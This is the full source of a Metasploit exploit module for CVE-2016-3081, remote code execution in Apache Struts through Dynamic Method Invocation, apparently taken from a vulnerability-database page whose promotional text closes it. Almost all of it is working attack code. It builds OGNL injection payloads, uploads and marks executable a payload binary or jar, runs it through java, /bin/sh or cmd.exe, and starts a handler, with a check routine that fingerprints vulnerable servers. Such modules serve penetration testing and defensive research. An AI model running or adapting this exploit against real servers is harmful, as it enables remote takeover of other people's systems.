##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed via method: prefix when Dynamic Method Invocation
is enabled.
},
'Author' => [
'Nixawk', # original metasploit module
'rungobier' # improved metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3081' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
],
'Platform' => %w{ java linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => '2016-04-27',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']),
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
])
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def get_target_platform
target.platform.platforms.first
end
def temp_path
@TMPPATH ||= lambda {
path = datastore['TMPPATH']
return nil unless path
case get_target_platform
when Msf::Module::Platform::Windows
slash = '\\'
when
slash = '/'
else
end
unless path.end_with?('/')
path << '/'
end
return path
}.call
end
def send_http_request(payload, params_hash)
uri = normalize_uri(datastore['TARGETURI'])
uri = "#{uri}?#{payload}"
resp = send_request_cgi(
'uri' => uri,
'version' => '1.1',
'method' => 'POST',
'vars_post' => params_hash
)
if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end
def generate_rce_payload(code)
payload = "method:"
payload << Rex::Text.uri_encode("#[email protected]@DEFAULT_MEMBER_ACCESS")
payload << ","
payload << Rex::Text.uri_encode(code)
payload << ","
payload << Rex::Text.uri_encode("1?#xx:#request.toString")
payload
end
def upload_exec(cmd, filename, content)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
var_f = rand_text_alpha_lower(4)
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
payload = generate_rce_payload(code)
params_hash = {
var_d => Rex::Text.encode_base64(cmd),
var_e => Rex::Text.encode_base64(filename),
var_f => content
}
send_http_request(payload, params_hash)
end
def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
flag = Rex::Text.rand_text_alpha(5)
code = "##{var_a}[email protected]@getResponse().getWriter(),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.close()"
payload = generate_rce_payload(code)
params_hash = { var_b => flag }
begin
resp = send_http_request(payload, params_hash)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
payload_exe = rand_text_alphanumeric(4 + rand(4))
case target['Platform']
when 'java'
payload_exe = "#{temp_path}#{payload_exe}.jar"
pl_exe = payload.encoded_jar.pack
command = "java -jar #{payload_exe}"
when 'linux'
path = datastore['TMPPATH'] || '/tmp/'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}"
command = "/bin/sh -c #{payload_exe}"
when 'win'
path = temp_path || '.\\'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}.exe"
command = "cmd.exe /c #{payload_exe}"
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
pl_content = pl_exe.unpack('H*').join()
print_status("Uploading exploit to #{payload_exe}, and executing it.")
upload_exec(command, payload_exe, pl_content)
handler
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation